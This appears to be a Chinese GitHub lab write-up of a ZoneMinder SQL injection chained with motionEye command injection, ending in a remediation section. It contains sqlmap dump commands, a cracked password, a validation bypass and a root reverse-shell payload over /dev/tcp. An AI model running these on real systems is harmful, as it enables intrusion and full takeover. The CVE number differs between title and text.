Gh0s7Ops/CVE-2024-51482-Multi-Stage-Surveillance-System-Exploit
GitHub: Gh0s7Ops/CVE-2024-51482-Multi-Stage-Surveillance-System-Exploit
一个针对视频监控系统的多阶段渗透研究文档,演示从SQL注入到远程代码执行的完整攻击链及修复方案。
Stars: 0 | Forks: 0
# 安全研究:针对 Web 视频监控系统的多阶段渗透
本文档详细阐述了一个多阶段渗透场景,涉及 Web 应用程序中的 SQL 注入漏洞以及相连视频监控系统中的远程代码执行 (RCE) 漏洞。旨在演示从初始访问到完全控制系统这一完整的攻击链。
## 1. 初始访问:ZoneMinder 中的 SQL 注入 (CVE-2024-51428)
### 1.1 漏洞描述
经识别,该 Web 应用程序为 **ZoneMinder 版本 1.37.63**,并被发现存在认证后的 SQL 注入漏洞 (**CVE-2024-51428**)。该漏洞允许攻击者通过 `event` 请求中 `removetag` 操作里的 `tid` 参数注入恶意 SQL 查询。
### 1.2 漏洞检测与枚举
要确认漏洞,需要认证后的会话 cookie (`ZMSESSID`)。以下 `sqlmap` 命令可识别注入点:
```
sqlmap -u "http:///zm/index.php?view=request&request=event&action=removetag&tid=1" \
--cookie="ZMSESSID=" \
-p tid --dbms=mysql --batch
```
确认漏洞后,可以对数据库进行枚举以提取用户凭据:
1. **枚举数据库:**
sqlmap -u "http:///zm/index.php?view=request&request=event&action=removetag&tid=1" \
--cookie="ZMSESSID=" \
-p tid --dbms=mysql --batch --dbs
2. **从 `zm.Users` 获取用户名:**
sqlmap -u "http:///zm/index.php?view=request&request=event&action=removetag&tid=1" \
--cookie="ZMSESSID=" \
-p tid --dbms=mysql --batch -D zm -T Users -C "Username" --dump
| Username |
| :--- |
| admin |
| mark |
| superadmin |
3. **提取用户 `mark` 的密码哈希:**
sqlmap -u "http:///zm/index.php?view=request&request=event&action=removetag&tid=1" \
--cookie="ZMSESSID=" \
-p tid --dbms=mysql --batch -D zm -T Users -C "Password" --where="Username='mark'" --dump
| Username | Password (Bcrypt Hash) |
| :--- | :--- |
| mark | `$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.` |
### 1.3 凭据破解与系统访问
提取出的 bcrypt 哈希可以使用 `John the Ripper` 进行破解:
```
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john --show hash.txt
```
利用这些凭据,可以通过 SSH 建立初始系统访问:
```
ssh mark@
# Password: opensesame
```
## 2. 权限提升:motionEye 远程代码执行
### 2.1 漏洞概述
**motionEye**(版本 **0.43.1b4** 及更早版本)由于对配置参数的输入验证不当,存在远程代码执行 (RCE) 漏洞。具体来说,应用程序接收来自 Web 控制台的用户输入,并将其直接写入 Motion 配置文件 (`/etc/motioneye/camera-X.conf`),而未对危险的 Shell 字符进行清洗。
### 2.2 发现与端口转发
内部枚举显示 motionEye 服务在本地端口 **8765** 上运行。可通过 SSH 端口转发进行访问:
```
ssh -L 8765:127.0.0.1:8765 mark@
```
配置文件 `/etc/motioneye/motion.conf` 提供了管理员密码哈希:
```
cat /etc/motioneye/motion.conf
# @admin_username admin
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
```
### 2.3 绕过客户端验证
Web UI 尝试使用 JavaScript 函数 `configUiValid()` 阻止 **Image File Name** 等字段中的 Shell 语法。可以通过在浏览器控制台 (F12) 中重写该函数来绕过此限制:
```
configUiValid = function() { return true; };
```
### 2.4 利用命令注入
一旦绕过验证,就可以将任意命令注入到 **Image File Name** 字段中。当 Motion 处理 `picture_filename` 指令时,它会解析如 `$(command)` 这样的 Shell 语法。
#### 方法 A:通过 Web UI 手动注入
1. 导航至 **Still Images** > **Image File Name**。
2. 将值设置为:`$(touch /tmp/test).%Y-%m-%d-%H-%M-%S`
3. 应用设置并触发快照:
curl "http://127.0.0.1:7999/1/action/snapshot"
#### 方法 B:自动化利用脚本
以下 Python 脚本自动化了 API 认证和命令注入过程:
```
import hashlib, urllib.parse, urllib.request, json, re, time
MOTIONEYE_URL = 'http://127.0.0.1:8765'
MOTION_URL = 'http://127.0.0.1:7999'
ADMIN_HASH = '989c5a8ee87a0e9521ec81a79187d162109282f0'
def compute_signature(method, path, body, key):
# Standard motionEye HMAC signature algorithm
# ... (implementation details omitted for brevity)
return signature
def execute_as_root(command):
# 1. Get current camera config
# 2. Inject command into 'image_file_name'
# 3. Post updated config to /config/1/set/
# 4. Trigger snapshot via Motion API
pass
```
### 2.5 实现完全系统控制
由于 Motion daemon 以 **root 权限** 运行,注入的命令将以 root 身份执行。
**获取 Root Flag 的 Payload:**
```
$(cp /root/root.txt /tmp/root_flag.txt && chmod 644 /tmp/root_flag.txt).%Y-%m-%d-%H-%M-%S
```
**利用反向 Shell 进行武器化:**
```
$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp//4444 0>&1\"')").%Y-%m-%d-%H-%M-%S
```
## 3. 根本原因与修复建议
### 3.1 根本原因分析
该漏洞的存在是因为未经清洗的输入通过了以下链条:
`Dashboard JS` → `ConfigHandler.set_config()` → `camera-1.conf` → `motionctl.restart()` → `Motion` 解析 `picture_filename` → `Shell Execution`。
### 3.2 修复:输入清洗
建议的修复方案涉及在 `config.py` 中对 `image_file_name` 字段进行清洗,仅允许安全字符:
```
from re import sub
def sanitize_filename(value):
# Allow only letters, numbers, %, ., _, -, /
return (sub(r'[^A-Za-z0-9._%/-]', '_', value).lstrip('/') or '%Y-%m-%d/%H-%M-%S')
# 在 motion_camera_ui_to_dict 中应用清洗
data['picture_filename'] = sanitize_filename(ui['image_file_name'])
```
## 4. 关键安全教训
1. **切勿信任客户端**:客户端验证是一项便利功能,而非安全边界。
2. **清洗所有输入**:任何写入系统配置文件的数据都必须根据安全字符白名单进行严格验证。
3. **权限分离**:处理用户可控配置文件的 Daemon 不应运行为 root,除非绝对必要。
4. **深度防御**:保护内部管理接口和配置文件,以防止凭据泄露。
## 5. 参考资料
* **motionEye 项目**: [GitHub](https://github.com/motioneye-project/motioneye)
* **CWE-78**: OS 命令注入
* **CWE-20**: 不正确的输入验证
* **CWE-116**: 不正确的编码或输出转义
标签:CISA项目, Cutter, CVE-2024-51428, HTTP工具, OPA, PE 加载器, PNNL实验室, Sqlmap, StruQ, Web安全, ZoneMinder, 内存分配, 协议分析, 数据展示, 数据提取, 权限提升, 漏洞分析, 漏洞利用链, 红队, 编程工具, 蓝队分析, 视频监控系统, 路径探测, 远程代码执行, 逆向工具, 靶场